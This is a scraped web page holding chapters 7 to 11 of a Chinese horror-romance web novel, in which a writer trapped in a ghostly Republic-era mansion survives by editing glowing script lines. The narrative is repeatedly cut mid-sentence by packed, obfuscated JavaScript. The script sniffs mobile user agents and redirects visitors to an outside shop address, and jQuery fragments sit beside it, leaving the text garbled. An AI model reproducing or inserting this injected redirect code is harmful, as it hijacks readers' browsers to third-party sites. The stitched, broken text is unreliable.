l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698920|189106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他立规矩似的。 喜堂之外,淅淅沥沥。 雨又下起来。 贺砚清面如冠玉,穿着红色喜服,像是他自己结婚一样,而他喜服红袍里的另一只手,足足伸长七八米,直伸到那位讲话的“高堂”脖颈。 小雨寂夜,“咔擦”一声,“高堂”的脖颈也如同干枯的古树,被贺砚清轻而易举地折断了。 “原来你们当时就这样对她了。”贺砚清悲伤低沉的声音就在黎秋又耳边。 听不懂,完全听不懂。 吓人,非常吓人! 这就是唐约告诉她的,少爷拧脖子。她见识到了,并且开始后怕。 黎秋又呆愣愣地看着那位“高堂”,从脖颈处冒出滚滚气体,浓重到就像他整个“人”都是跟气球似的被打出来的。 淡褐色的气体从身体里出来,往四周开始弥漫,少爷的二位跟班隐在人群后,捏住贺尧的嘴巴退出了喜堂。 黎秋又腿都软了。气体蔓延到腿边来,黎秋又闻到了那股臭气,比刚才更加浓郁。 她终于开始干呕,难受得赶紧朝喜堂外面跑,贺砚清赶紧唤了声喜娘,喜娘迈着“丁零当啷”的脚步就跟着黎秋又出门。 喜娘搀着黎秋又,出门,左转。 出了门,总算好受些了,黎秋又回头看了眼,贺砚清已经转回了喜堂里,此时,他的双手都老老实实垂在身侧。 “橡皮人路飞啊?”她不禁感叹。 “什么飞?”银烛出现在了她另一侧,温柔笑着,去搀着她的另一边手,把她往右边拉,吓得黎秋又一个弹跳。 “喜娘忙完了,领完赏钱就可以离开,乔姨娘交给我就好。”银烛手上用了点力气,要把黎秋又拽走。 喜娘这头也暗暗用了劲,“少爷吩咐我务必要把乔姨娘好生送回客房再走,银烛姑娘莫为难我。” 银烛的半永久笑容,发出了轻缓的笑声,“喜娘说什么玩笑?哪有新婚的太太不去丈夫房里的?” 三人在这里淋着小雨,黎秋又站在雨里,感觉自己可能等一会就会被身侧两人撕成两半。 喜娘脚后面跟着一只甩不掉的骷髅,银烛脸上挂着画上去似的半永久微笑。 大概再过一会儿,雨水就会顺着她被撕裂的胳膊滴下血雨,顺着水流,流出幻境,被现世的人发现,报警,再找到她,但愿能在血流干之前等到警察。 两个女鬼一鬼攥着她一只胳膊,又不敢反抗,抛开未知的剧本不谈,黎秋又更希望跟着喜娘走,喜娘说要带她去客房。 现在已经快要凌晨两点了,黎秋又已经困得恨不得干脆睡过去得了,起码什么也不知道,也不痛苦了。 周遭没有别的人,但黎秋又突然看见了星星点点的金光开始汇聚,是剧本台词! “太好了,有救了!” 身侧两人,一脸莫名地看着黎秋又骤然发亮的双眼,望着虚空一处,那里有鬼怪们看不见的台词。 【宾客未散,忽闻院中惊呼!池中竟有一女体浮沉!】 8. 第 8 章 雨又大了,这幻境里的天气更加阴晴不定,黎秋又回头,那间喜堂不知什么时候已经没了光线,隐在黑暗里,比夜空还要黑,像是有滚滚黑雾淹没了那里。 转角处,黎秋又看见了去而复返的唐约两人,她们又换上了自己的便装,唐约双手抱胸,朝她挑了挑眉。 身后有两个人,黎秋又轻轻松了口气。刚才身侧还有俩人拽她的手臂呢,现在却只剩下了一个银烛。 “喜娘呢?”黎秋又问她。 银烛笑着反问:“什么喜娘?乔姨娘在等什么?喜娘早就领完赏钱离开啦。” 她伸出一只手,黎秋又望过去,廊下果然站着一个人,看身形,像是二太太。但她整张脸都在黑暗里,只有衣服在光下,黎秋又打了个尿惊,那里站的千万别单单只有二太太的衣服啊。 她视线又转回到台词上去,这个台词太短,看上去没有任何意义,与她接下来要面对的事情没有任何关系。黎秋又CPU都快烧了,还没想好如何改动,给她的时间不多,她先尝试去擦,看能擦掉什么字。 “二太太,主院那边……”有小厮迎着雨匆匆跑来,哼哧带喘的。 廊下那身影动了动,隐隐发出“嘎吱”声响,像踩断了树枝。但二太太的脸依旧在黑暗里,黎秋又如果没有见过她,大概会觉得那衣桶子上面搁的,恐怕是个枯皮尖牙的怪物脑袋。 “这么急急忙忙做什么?”是银烛上前一步,先问了那人。 那小厮看了她一眼,连忙对她和二太太指着前院:“池塘,主院的池塘,捞出来一个人。” 黎秋又尝试在标点符号上抹了抹,竟然每个字都能擦!她朝唐约那边望了眼,就见唐约非常急切地在跟她比划。 二太太朝银烛抬了抬手,对暗号似的,银烛立即明白了二太太的意思,对二太太恭一下身子,就对身侧的黎秋又说:“乔姨娘,夜深了,目前老爷可能有些不太方便了,乔姨娘应去老爷院中的厢房先歇下,明日再去老爷房里伺候。” 黎秋又点头,二太太就带着银烛又风风火火地走了,二太太还是那个二太太,只是步伐有些僵硬,幸好不是黎秋又发散思维的那种怪物。 在字迹快要消散前,黎秋又把那台词中的“女”,改成了“男”。 唐约这才跑到她身边来,拍了拍她的肩,“谢了啊。” “什么情况?”黎秋又耸耸肩,不太喜欢别人把手搭在她身上,又问:“还有,你俩一会儿换一身衣服,不累吗?” “换衣服?”唐约皱眉,“换什么衣服?我们穿上这身就没再脱下来过。” “这么说……”那么黎秋又刚才看见的“唐约”…… 黎秋又咽了咽口水,感觉后背发凉。 “我cao……”她口中讷讷。 雨越来越小,比刚才的时间要短一些,唐约偏了偏脑袋,“走,这里不是说话的地方。” 三人挤到了一间小柴房里,这里没有烛火灯笼,只剩下微弱月光照亮,到这里时,雨已经彻底停下了。 “丢了?”黎秋又后背紧紧靠着一根柱子,双手抱膝,“你们刚才就一直在找你的戏服?” 三人讲话都压低了声音,怕吵醒路边的野猫。 “对,我们换完衣服就丢在后台,你去喜堂的时候,我们就回后台去跟班主打一声招呼,班主让我们把戏服装起来,他们先带回去。” “这个时候我们就找不到戏服了。”廖欢说这话,越说声音越小,看了看唐约的脸色,说完就闭嘴了。就像丢戏服这件事她常做似的,一脸的不好意思。 唐约瞪了她一眼,“你的经纪人证是买的吧?” “经纪人?”黎秋又看看廖欢,又看看唐约,“你是明星啊?”她后知后觉,这才意识到,如此颜霸,确实是当明星的料。 唐约挑眉,“你不看电视的?” “你居然不知道?刚才都有人想扑过来要签名呢。”廖欢再次死亡抢答。 “刚才?你是说,在这个鬼地方,有人把你认出来了?”黎秋又接受信息量太大,一时都不知道先问什么好了。 “这个回头再说,现在,先跟我说说,你刚才看见了我的戏服?站在你的喜堂里?” 黎秋又点头,“还是撑起来的戏服,就跟有人穿着似的,我真当成是你了。” 唐约也坐在黎秋又身侧,三人挤着,烧了一小团火取暖,她捏着下巴思考,“现在戏服仍没有找到,不知道它会自己跑去做什么事,对我又会有什么影响。” 她抬头盯着黎秋又,“今晚,我需要一直和你在一起。” 黎秋又不反对,她巴不得有人能陪着她度过这个夜晚。“那你刚才让我把台词的女改成男又是为什么?” “不知道,直觉吧。我猜想,台词让你看见,很可能就是跟我们有关系,我们都是女的,万一那尸体是我们三个其中一个怎么办?” “所以改成男,那池塘里的就变成了男尸?”黎秋又深吸一口气。 “糟了!”黎秋又突然想起一件事。 “我把那傻小子的小猪才电话手表丢到前院那池塘里去了,他会不会因为捡手表,阴差阳错……” 如果真是那傻小子跳进去找表,那也算是她间接害死这小子了。黎秋又突然开始愧疚,她踢了两脚面前的柴火堆,踢灭了,“不行,我得去一趟。” 唐约抓住了她手腕,星星点点的火光还在呼吸,她眼中微微闪动,看了眼黎秋又左手腕上的表。“这是你自己的东西?” “嗯。”唐约非常有力量,攥得她手疼,黎秋又抽回手。 黎秋又白皙手腕上的深咖色牛皮表带,是前些年流行过的款式,表盘顶端有一块凸起,看着像吊坠顶端的一个环。 表盘看上去很复古,不是便宜物件,唐约见多了奢侈品牌,这不是什么大牌表,但也不是地摊的便宜货。 “你本名叫什么?”唐约问。 “黎秋又,秋又来的秋又。” 唐约低低笑了两声,没有多问,但黎秋又瞧她神色,必定是脑袋在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698921|189106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转什么九曲十八弯呢,现在懒得去追问唐约问的话是什么意思,满脑子就想着可千万别是那傻小子给淹死了。 唐约跟廖欢两人互相搀着起身,还互相拍了拍身上的土,黎秋又猫着腰,拉开小柴房的门,脑袋探出去,一切正常,就朝唐约俩招了招手。 安静又漆黑的地方,人总是会下意识靠着建筑物走。三个人紧贴墙根,沿着长廊曲折回转,门洞之前,照例,还是黎秋又探头出去看情况。 唐约和廖欢很惜命,她们离黎秋又七.八步之远。 黎秋又嗤之以鼻。 门洞之前,几树茶梅开得正盛,碗口大的红花散发出甜滋滋的冷香,墨绿的枝叶生着细细的锯齿,路过时,还挂了一下黎秋又红嫁衣上配的纱,勾得树叶一阵“沙沙”。 黎秋又倒回去,检查一下树上别挂上了自己的衣服碎片,正当她猫着腰上下打量这株挂着她衣服的茶梅树,一道清凉的声音仿佛在她身后打开了一扇急冻冰箱的门。 “阿云。” “你可叫我好找。” 声音从四面八方来。 黎秋又连忙跑去墙根蹲下,缩了缩脖子。刚才少爷拧脖子是喜欢往左还是往右拧?倘若她与少爷的手劲往反方向用力,是不是就不会被拧断? 她把脑袋埋到墙边柱上。 这柱子坚硬冰凉,忽地柱子动了一下,开始朝黎秋又倾倒。 她没来得及起身就跑,脑袋就被人按住了。 “阿云,别怕。”脑袋上的手掌温凉,并不冻人,他顺着黎秋又发丝的方向轻轻抚了两下。 黎秋又抬眼,贺砚清正蹲下身来,和她面对面。 她本就圆的双眼,此时怒睁着,一眨不眨望进贺砚清眼里,双手小心翼翼上挪,一直挪到自己脑袋上,扶好。 贺砚清的视线就从她的手,缓缓移到脸上,唇角扬起一道柔软的笑意弧度。 黎秋又瞳仁四下转了转,没有金光闪闪,没有救命的台词,远处的唐约两人现在都看不见身影。 她们才不会管自己的死活呢,黎秋又心里清楚。 “我来带你回客房休息。” 贺砚清讲话语速慢,轻缓,柔和,能够轻松叫人放松警惕,越是这样,黎秋又的神经越是紧绷。 他没有多问,黎秋又就答一句“好”。 贺砚清带路,走得极慢,黎秋又觉得,但凡她想要跑,贺砚清都能第一时间揪住她的衣领。 十步之外没有看见唐约跟着的身影,黎秋又咬牙切齿,刚才还说好的晚上要和她睡在一起! 气着气着她居然“哼”出了声,贺砚清走在前边的步子更慢了,他缓声开口:“怎么了阿云?” 秉持着对角色的尊重,以及她敏锐的第六感,黎秋又颤着声:“少爷,按理来说,您现在该唤我一声姨娘。” 本就微弱的月光又藏入了云层。 黎秋又感到一股寒意从前方传来,她连忙补充:“但如果少爷执意直呼我名,自然也是理所应当。” 9. 第 9 章 贺砚清停下了脚步,身后黎秋又非常识相又惜命地保持着安全距离,那略带凉意的空气又来了,“阿云,如果你不愿意,这次无论如何我也能带你走的。” 不不不,求你了,千万别带我走!黎秋又在心里给贺砚清磕九九八十一个响头。 “少爷,人各有命。” 进到这鬼地方来,成为娇小可怜的冲喜新娘,千方百计,绞尽脑汁地活下去,就是她黎秋又的命。 云又散了,前面的人轻叹了一声,“你还是没变。” 这句话应该不用她回答,要她回答她也不知道该说什么,索性当做没听见。 心里为贺尧默念祈福,今夜恐怕自己都要卒,难顾到他了。 雨竹清幽的香气和茶梅树的甜香混在一起,黎秋又竟意外得有些熟悉,并不浓郁,反而令她舒适安心得想睡一觉。 虽然对于黎秋又来说,半夜两点正是她灵感爆发,奋力码字的时间点,也虽然说现在这种又冷又陌生又危险的情形,实在不适合睡觉,她这时候是真的困到眼皮打架了。 贺砚清安安静静地走在前面,连脚步都没有发出声音,黎秋又安安静静地跟在他身后,连呼吸都不敢发出声音。 但在将要路过主院时,黎秋又听见了那边低低沸腾的人声,像是一堆蚊子在开大会,听不清说的什么,只能听见“嗡嗡”的议论。 门洞之外,黎秋又看见众“人”围成了一个圈,最外围,唐约两人的身影朝她看了眼,又转过脸去。 太黑了,什么也看不清,黎秋又虚着眼,想要去看人群中央是什么,费劲巴拉还是看不清,就要走过这一处院子时,她突然看见了地下似乎是躺着一个人,那人的手腕上,一条白色的什么东西缠在上面。 贺尧那小猪才电话手表就是白色的表带。 “少爷!”黎秋又壮胆,在贺砚清五步之后开口喊住他。 贺砚清停下,好一会儿转过身来,静静等着黎秋又讲话。 “我……丢了个贴身的东西,好像在主院,我想去找找。” 黎秋又不会讲谎话。她的妈妈在生她时难产去世,爸爸在当天失踪。外婆抚养这么一个个独独的念想长大,从小就宠着,很少训斥她,好在她也是温吞安静的性子,也很少犯错,因此她从不需要用谎话来逃避斥责。 在她偶尔说谎话时,总是一眼就被外婆看穿,她会下意识地不去看对方的眼睛,视线很忙碌地去四处搜寻。 贺砚清像是没有看出黎秋又的谎,只是柔风暖意地说:“好,我陪你去找。” “不用了,这么晚了,少爷早点休息,我找到后会自己回客房去。”黎秋又说着就摆摆手,两只脚开始朝主院那边挪。 贺砚清又不说话了,黎秋又觉得他真是太阴晴不定,好像又生气了似的,她不露声色地瞄着贺砚清身侧的一双手。那双手跟橡皮人似的,想伸多长伸多长。 但贺砚清还是侧了身子,让黎秋又过去。 那边的“人”好多,黎秋又看见二太太也在。 她放轻了步子,尽可能快地走到唐约身侧,回头看了眼,贺砚清没有跟着来,才松口气。 “恭喜你,又多活了一刻钟。”唐约由衷地祝贺她,只是看上去连嘴都没张开。 黎秋又扯唇干笑:“多亏了你的关心。” 她在人群外,蹲下身子去,从众“人”的腿间望进“人”群里,想要一探究竟。 奇形怪状的腿杆之间,一双凸起的浮肿的通红的双眼,大睁着,直直透过黎秋又的瞳仁看到她脑仁里去。 他好像还活着,他怒睁着双眼,势要在死之前,将杀害他的凶手深深刻进脑海里,好在做鬼之后来找凶手索命。 这是黎秋又心里的小剧场。 她差点跌坐在地,差点,因为她跌坐在了贺砚清的脚上。 贺砚清这时候穿的是一双圆头布鞋,并不是先前进府时穿的那双冰冷的皮鞋。 贺砚清双手捏着她的肩,把她扶起来。手不重,甚至黎秋又都没什么感觉,她站稳后,贺砚清立即松开手,走进“人”群。 “都在这围着做什么?” 听见他冷调的声音,“人”群哗然散开,池二浩和宣余突然跑到他面前来,“少爷,我们刚才捞出来一个人。” 黎秋又这才看清。 好消息:地下那人不是贺尧。 坏消息:那男人身上正穿着唐约的戏服! 如果刚才那句台词没有改,恐怕躺在这里的,就是唐约了。 他手上一圈白色也不是那只小猪才电话手表,是民国时期比较时髦的蝴蝶结发圈,材质大概是蕾.丝,即使沾了水,也还保持着蝴蝶结的形状。 贺砚清冷着的神色,看见他的这两书童,眉心又舒展开,笑问:“这大夜深,缘何在水里捞东西?” 他像是恍然,自主替两人找着借口,转身来看向黎秋又,“我知道了,是来为乔小姐找东西的吗?” 两人眼珠子滴溜溜转,连忙点头。 贺砚清又问:“找到了吗?” 黎秋又耳边一“嗡”——什么东西? “找到了!”池二浩满口答应。 宣余立马去那死掉的尸体手腕上,把那蕾丝发圈扒下来。 黎秋又看见了人群外的贺尧,正认认真真仔仔细细地擦着他手里那只小猪才手表,还哈了一口气,用袖子小心擦拭表面。 …… 他可活得真好啊。 宣余递给黎秋又的死亡发圈,她迟迟不敢伸手去接。 贺砚清倒是拿开了那只沾了泡尸潭水的发圈扔远了些。 “早说是这个,我再给乔小姐买个新的就是。”贺砚清神色自然,不揭穿几人明显的小动作。 人群另一头又让出来一条道来,二太太一只手帕捂唇,像刚吐完一样,气息有些不稳,一来就沉着脸色,勉强对贺砚清露出个笑容,“清儿,现在你该叫她姨娘了。” 黎秋又站在贺砚清身后,离水潭不算远,水潭黝黑深处,就像是有一个能从人的脑袋上吸走灵魂的黑洞。 怕水的人总是有这样的幻觉,黎秋又觉得自己快被那水潭深处吸走了,脑袋一阵眩晕。 身前的贺砚清轻松地笑笑:“二妈妈,儿子受到的是新式教育,这个称呼,我叫不出口。” 他蹲下身子去扳开死者的口腔,一口白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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池二浩是个机灵的,向黎秋又竖了竖眉毛,表示包在他身上。 黎秋又这时候已经明白了。这俩人,和她们一样,也是误入这鬼打墙的活人,并且他们也发现了贺尧无法被鬼怪发现的特点。 贺砚清送黎秋又到了刚才换衣服的那间客房,黎秋又已经困到不在乎是否有水洗漱了,只要能让她睡,怎么样都行。 贺砚清却对她仔细交代,无非是些如果住得不习惯,或者缺什么,可以差人去街上置办。搞得好像她真要在这里住多久似的。 黎秋又连连“好的,多谢。” 贺砚清终于停下了啰嗦的关怀,黎秋又要转身进屋时,听见他问:“远处鬼鬼祟祟那两位,是你朋友?” 黎秋又停下,转身,四处张望,在门洞之外,看见了慌忙躲避的两个身影。 “是我娘家来的姐姐。”黎秋又的眼神定在别处。 听黎秋又胡扯完,贺砚清伸出一只手,朝着她的脑袋,缓缓而来,带着凉悠悠的冷意。 她只敢掀着眼皮去盯那手,缩着脖子,等待他下一步动作。 10. 第 10 章 “早点歇息,一会儿我可以让她们来陪你。” 贺砚清收回了手。 他总是控制不住下意识想要去触碰她,即便知道她现在对自己满心都是恐惧和戒备。 不过,现在哪怕贺砚清说要陪着她进屋,她都只会赶快答应了。黎秋又困得要死了。她也果真是沾枕头就睡了。 不知过了多久才终于进来的唐约两人,又是挠她又是喊她,愣是没把人喊醒。 她这一觉感觉像睡了两三天,睁眼时,却才将将天亮。 黎秋又直挺挺赖在床上,不知什么时候盖在她身上的棉被暖和极了,她就这么懒懒地掀着眼皮,冬日阳光透过窗,把她整个人都温柔地包裹在光里。 很像她以往文思泉涌时,奋战一整天,再一觉睡到大天亮的那种满足和舒服。 一切都很好,但如果现在是在自己床上就更好了。 她仍躺着,有神的双眼,无神地看着眼前,从她睁眼就开始金光发亮的台词。 【二太太早早便叫银烛守在乔挽云门前,端着一碗慢性绝育的药汤,轻叩门扉,询问:十六太太可睡醒了?】 天杀的,她才刚睁眼啊!脑袋都是浑浑噩噩的。 她只想赖着不动,然而门外已经有了响动,但不是银烛的声音。 “银烛姐姐这么早起呀?”这个声音就在门口,是少爷身边那俩跟班的其中一位。 “愣着干嘛?”唐约的声音在她耳边幽幽传来。 黎秋又一个转身,“扑通”摔到地上,好在地面一块柔软的地摊接住了她。 “你怎么在这?”黎秋又小心肝受到了极大的惊吓,这时候又从唐约身后冒出一个廖欢脑袋,“你怎么也在这?怎么都在我床上!” “我还想问你呢!你是怎么跟那个鬼少爷沟通的?” 屋外脚步声越来越近,唐约长腿跨下床,把黎秋又拉起来,“你还不快写!不然还真要喝那些奇奇怪怪的东西吗?” 黎秋又从枕头底下翻出自己的那支笔,数了数那碗汤的名字:“一二三四五六七,七个字啊。”她掰着自己的几根手指。 饿啊!现在她脑袋里只有一个东西——黑糖珍珠鲜牛乳! 这怎么改?如果只能改一个字,那把药改成奶也行吧? 她率先改掉一个字,如果笔墨能够支撑她多改几个字,那她一定要喝到个美味点的! “你们俩在这做什么?十六太太睡醒了吗?”门外银烛的声音响起。 黎秋又现在听这个十六太太都像是石榴太太了。 饿啊。 慢性绝育的药汤……奶汤。 黎秋又试着再擦掉一个汤字,在奶后面写了个茶。 “还真能再写!” “重点难道不应该是绝育两个字吗?”唐约白她一眼。 黎秋又犹豫,“对哦。” 那两个字被擦掉后,她又犯了难。 反正什么都能写,她想到了个好点子——如果写成喝了可以回家的奶茶,那不是就能直接离开这鬼地方了! 于是她要把“绝育”两个字改成“回家”! “回……”黎秋又边写边念,写下一个口,又写一个口。 “???” “中间的口呢?” 唐约暴躁,“你笔顺有问题啊!谁写‘回’先把口封了的?你不能先把里面的写了再封口吗!” “这是笔顺的问题吗!明明是笔的问题!”黎秋又也烦躁。 慢性口口的奶茶。 黎秋又不信邪,在那两个口里面继续填。 于是现在变成了……慢性口口口口的奶茶。 “你真是要把我气笑了。”唐约一翻白眼,又躺回床上去了,“反正是你喝,又不是我喝。” “十六太太,您睡醒了吗?”银烛没得到里面的回应,又问了声,抬手准备敲门。 黎秋又才赶紧站起来,房间里是很均匀的暖和,跟北方家里烧了地暖似的,她这才发现自己身上竟然穿着睡衣,还是红色的! “你俩咋还脱我衣服了?!”黎秋又顿时觉得,别看这俩人光鲜,背地里实际一点边界感也没有! 唐约生无可恋地躺着,烦躁扯了扯自己身上,也穿着的睡衣。 刚才只冒出个脑袋的廖欢还在被子里,一言不发,一脸通红,用被子把自己遮了个严实。 “我求求了,你该不会光着吧!”黎秋又无力震惊了。 廖欢遮住了脸。 门外一阵拖拽声响,“嘘!银烛姐姐别叫了,要乔小姐再睡会儿吧!少爷吩咐过,一定要让乔小姐睡好的。” 黎秋又赶紧跳去床旁边的衣柜里翻找,“别找了。”唐约蹙眉扶额。 “在你醒来之前,我们已经琢磨过。我们现在的状态,应该是按照原有剧情来的,原本我应该睡在自己房里,穿着自己的衣服,而现在,这不是我们原来应该待的地方。” “是吗?”衣柜里果然什么也没有,黎秋又也学着唐约的模样,摸着下巴思考,一边转过来在唐约身上的丝质睡衣上打量,“原本你不是应该死了吗?穿的应该是那件戏服。” 唐约好不容易吃了瘪,抱着胸,脑袋侧到里边去,“现在不是理顺逻辑的时候,你该出去看看你那口口奶茶了。” 时不待人,黎秋又赶紧从床上随便扯了张稍微单薄一点的毯子披在身上,用来遮一下里面没有穿bra的尴尬。 拉开门后,门口竟然意外的……热闹。 俩人七手八脚地把银烛架到一边去,听见开门声后,三个人齐齐转过来,都是一脸的兵荒马乱。 黎秋又被开门闯进来的冷风打得一哆嗦,又稍微把门关小些了,只留半张脸在门口。 “你们这两个小子,二太太叫我带给十六太太的滋补汤都撒了不少,这可都是名贵药材熬的。小心我去二太太那去告你俩小状去。”银烛说着这样的话,但脸上的笑容依旧不改。 俩小伙见到黎秋又,赶紧松开了银烛,小跑到黎秋又跟前来,个子稍高些的男孩看上去机灵一些的,是贺砚清叫过的“小池”,他老喜欢挤眉弄眼了,小声对黎秋又说:“别喝!” 另一个稍矮点又稍胖一点的,弯腰在地下捞起来俩箱子,“乔小姐,这些都是少爷给你准备的。” 不止这俩箱子。 黎秋又面前挤挤挨挨摆了五六个箱子,叫她出去都无处下脚的那种。 贺砚清对她这样的……细致,黎秋又再次确定,这乔小姐,恐怕是在入门前就跟这少爷珠胎暗结了! 夭寿啊! 这种事情搁在民国怕是要被沉塘的吧! 如果真是这样的剧情走向,那她真得想办法改变自己的剧本了。 “十六太太,二太太特意差人熬了这滋补汤,叫十六太太喝了以后,就可以去前厅敬茶了,老爷也在。”银烛在两步台阶之下,端着碗,规规矩矩,清秀面容上带着温柔笑意。 黎秋又把身上的毯子裹紧了些,就站在门里,费劲地朝银烛手里的碗看去。 她开始后悔自己改的台词,这个距离光是看,根本分不清中药和奶茶的颜色有什么区别。 池二浩见黎秋又好像对那碗汤药很感兴趣的样子,眉毛都皱到一堆去了,使劲这她耳边小声说:“别喝!千万别喝!” 咕~ 黎秋又咽了咽口水,又看向下面的银烛,“银烛,你端来给我吧,一会儿换好衣服就喝,我自己去前厅就行。” 银烛两步上前,把药碗递给黎秋又,但没有离开的意思。 池二浩用脚尖踢了踢宣余,宣余连忙把手里的箱子放到黎秋又面前,非常自然地别过了银烛的肩膀往一边走,“好姐姐,我们在这看着,乔小姐都不好意思换衣裳了,一会儿再过来接她呗,你看这么冷的天儿,要再把姐姐的手给冻伤了怎么办啊。” 他刚这么说完,宣余又惊呼一声:“哎呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698923|189106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !怎么还真冻伤了啊!我带姐姐先去擦药。” 黎秋又不禁开始怀疑,这俩人真的不是鬼宅子里的一员吗?不是的话,这融入得也太快了些吧! “这箱子里是乔小姐和里面二位小姐可以穿的衣物,旁边这些箱子里是些女孩子用的生活用品,少爷大清早就赶着我俩上街去采买了。” 池二浩简单说了两句,就开始跟黎秋又讲重点:“姐姐,你是人吧?” 黎秋又准备翻白眼,池二浩赶紧接下一句:“我知道姐姐是人,我叫池二浩,刚才那个叫宣余,我们也是人,不过说来话有些长,有机会我们再细聊,少爷给乔小姐准备了饭菜,我悄悄尝过了,可以吃,就是味道不怎么样,他叫我嘱咐你,一会儿去前厅,什么都不能吃也不能喝,千万记住了。” 他快速讲完这些话,那边宣余没拖住人,正在往回走了。 黎秋又端起自己面前的碗,闻了闻,还真是奶茶的味道,就是功效不好说了。 池二浩以为黎秋又脑子不好,非要喝,连忙按住黎秋又的动作。 哪知,黎秋又只是闻了闻,又抬起眼来,双眸跟被水洗过似的透亮,她问:“那少爷人呢?” “她真这么问?”贺砚清长身玉立,等在院门之外。 “是啊,”宣余就数一张嘴巴快,“她看见我们,没问脚边的箱子,没问我们为什么在这里,而是张口就问少爷在哪,可见这个姨娘是把少爷当家人了。” 池二浩咧着笑的嘴突然就弯下来了,赶紧去捂宣余的嘴,“你可闭嘴吧。” 很明显少爷的心思才不是把乔小姐当姨娘呢! 果然,贺砚清的脸色又阴沉下来。 “我先前说了,不要叫她姨娘、姨太太,要叫乔小姐。”贺砚清看也不看他们,转身就走,快步离开这门前,“小宣,你知错犯错,一会儿罚你去我书房里抄五百个英语单词。” 宣余“啪”地给自己一嘴巴。 池二浩拽着他赶紧跟上贺砚清。 黎秋又听见不远处的动静,换好衣服,跟着银烛出门,才看见另一个门口一闪而过的身影。 一身天青色唐装长衫尽显国人的温雅韵味,只是他臂弯间,还搭着一条红色围巾,像是女士用的。 黎秋又垂眼看了看自己刚换上的衣服……淡红色,已经是能选出来的颜色最素的了。 贺砚清好像很喜欢红色,不,喜欢让乔挽云穿红色。 不过,也或许是为了把她冲喜的作用贯彻到底,毕竟她嫁到这将军府里来,首要目的就是用这个喜事来冲一冲贺老将军的沉疴煞气。 黎秋又觉得自己大概是以为有了金手指,就能安稳无恙了,飘了,一路上都没有意识到自己的处境有多危险。 直到到了正厅,她见到了满屋子的,“人”。 昨夜里,拜堂时坐在上位的二位“高堂”,明明亲眼见过那位的脑袋,跟枯树疙瘩似的被贺砚清轻轻松松折了,从脖子那断口处还冒出滚滚臭浓烟来着,而他现在竟然还安安稳稳坐着。 黎秋又猛然想到,先前跟唐约推断的,这个鬼打墙幻境应该是属于乔小姐的内心恐惧。 所以即便贺砚清当时把这里的人全部都“咔咔”喽,第二天这些人还是会出现。 因为他们一直存在于乔挽云的记忆里。 黎秋又在银烛的搀扶下进了这正厅,中西合璧的建筑里,装潢也是倒中不洋的布置,有西式壁炉,也有中式太师椅,有西式水晶吊灯,也有中式博古架,上面还摆着各种青花瓷花瓶和西洋照相机之类的。 确实有钱,不过这个年代的有钱,谁知道是不是民脂民膏呢。 “妾身乔氏,见过各位长辈,老爷,太太。” 这已经是黎秋又打过腹稿,她能想到的最中规中矩,最不出错的问候法子了。 “乔氏好大的架子。” 那该死的脑袋掉个没够的家伙一开口又差点给黎秋又熏死过去。 11. 第 11 章 怎么没个新鲜台词了!怎么给下马威都是这句话!她哪里来的架子? 黎秋又骨架子都很小了,买衣服的时候总会遗憾撑不起很多好看的衣服,现在她就差跪这了,哪里来的架子! “乔儿,来,坐我身边来。”那俩太师椅的左边是一排木制沙发,漆得油光发亮,坐在那里的人穿着一身大衣,扶手边还有一支拐杖歪在上面。 他开口,座上那两位才没再说什么。 在他身侧坐着的,就是阴沉着脸的二太太。 黎秋又转回视线,这才注意到男人的模样。 贺砚清大概二十四五的样子,眼前这个男人看上去也像是不到五十,由此看来,贺砚清的俊颜竟然也是一脉相承的。 这病秧子老爷也还挺……风韵犹存,可见年轻时的模样应该比贺砚清差不了太多。 这样看起来,他旁边的二太太就十分不起眼了。 比起与生俱来的气场,二太太更像是在这个位置的时间久了,硬养出来的傲气。 听到这句话,二太太也仍面色不改。 坐老爷身边去,黎秋又哪儿敢啊! 虽然老爷看上去模样英俊,但他好歹是自己名义上的,老,老公啊!太可怕了!她居然英年早婚,还是跟一个老头。 黎秋又脑瓜子活跃转不停,动作也丝毫不敢迟钝,对老爷弯了弯腰,从银烛忙活着端来的托盘上,取了茶盏,挨个敬茶。 来时,银烛非常贴心地对她讲了敬茶顺序,以及说话方面的避讳。 说到避讳,黎秋又问了句昨晚的鱼腥气,银烛的表情很怪异,皱着眉,不解,惊疑,随后摇摇头,“这个更是避讳中的避讳,不止今天,不论什么时候,什么地方,宅子里所有人都不能提这个事。” 她像是不记得昨晚的事。越是这么说,就越是蹊跷。 此时,黎秋又到老爷身边敬茶,一股似有若无的淡淡鱼腥气还是从二太太那边飘过来。 二太太昨晚被腌入味了? 